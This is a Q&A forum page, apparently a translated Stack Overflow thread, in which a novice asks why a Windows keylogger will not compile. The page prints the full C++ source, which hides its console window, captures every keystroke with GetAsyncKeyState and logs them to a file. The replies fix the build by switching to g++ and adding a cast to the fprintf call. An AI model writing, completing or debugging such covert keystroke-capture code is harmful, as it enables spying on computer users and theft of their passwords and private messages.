【问题标题】:GCC: cannot find iostream compilation errorGCC:找不到 iostream 编译错误
【发布时间】:2018-06-19 15:59:52
【问题描述】:

首先,我对编程知之甚少。我从一个不工作的网站上得到了一些 C 代码;当我尝试编译这个键盘记录器时:

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
int main() {
 FreeConsole();
char i;
while (true) {
 Sleep(10);
 for (i = 8; i <= 255; i++) {
 if (GetAsyncKeyState(i) == -32767) {
 Save(i, "log.txt");
 }
 }
 }
 return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
 fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
 else if (_key == VK_BACK)
 fprintf(OUTPUT_FILE, "%s", "[BACK]");
 else if (_key == VK_LBUTTON)
 fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
 else if (_key == VK_RETURN)
 fprintf(OUTPUT_FILE, "%s", "[RETURN]");
 else if (_key == VK_ESCAPE)
 fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
 else
 fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}

命令提示符给我

fatal error: iostream: No such file or directory
compilation terminated.

我也试过了

#include <iostream.h> 

而不是

#include <iostream>

并得到同样的错误。 如何编译代码?它有什么错误,如果有,我该如何解决?谢谢! (如果你能让像我这样的卢德分子更容易理解,我真的很感激) 使用GCC编译,Windows 10 64位

【问题讨论】:

  • 你是如何运行你的编译器的?包含iostream 实际上表示C++ 代码,我有点怀疑你告诉gcc 编译C 而不是C++。 (这不会考虑甚至可能理解相应的标题位置)。请尝试致电g++
  • 摆脱了 iostream 问题,但现在它给了我其他错误:警告:不推荐从字符串常量转换为 'char*' [-Wwrite-strings] Save(i, "log.txt "); ^ 指向右括号。
  • 更新我猜的问题?

标签: gcc compilation command-prompt iostream


【解决方案1】:

您需要告诉 GCC 链接到 C++ 库。使用 g++ 而不是 gcc 将强制执行此操作。

错误是因为带有 %s 格式化程序的 fprintf 需要指向 char 的指针,而您传递的是指向 int 的指针,在这种情况下您可以简单地转换为 char*

fprintf(OUTPUT_FILE, "%s", reinterpret_cast<char*>(&_key));

然后就可以了。

【讨论】:

    猜你喜欢
    • 2015-06-06
    • 1970-01-01
    • 2023-01-07
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-01-30
    • 1970-01-01
    相关资源
    最近更新 更多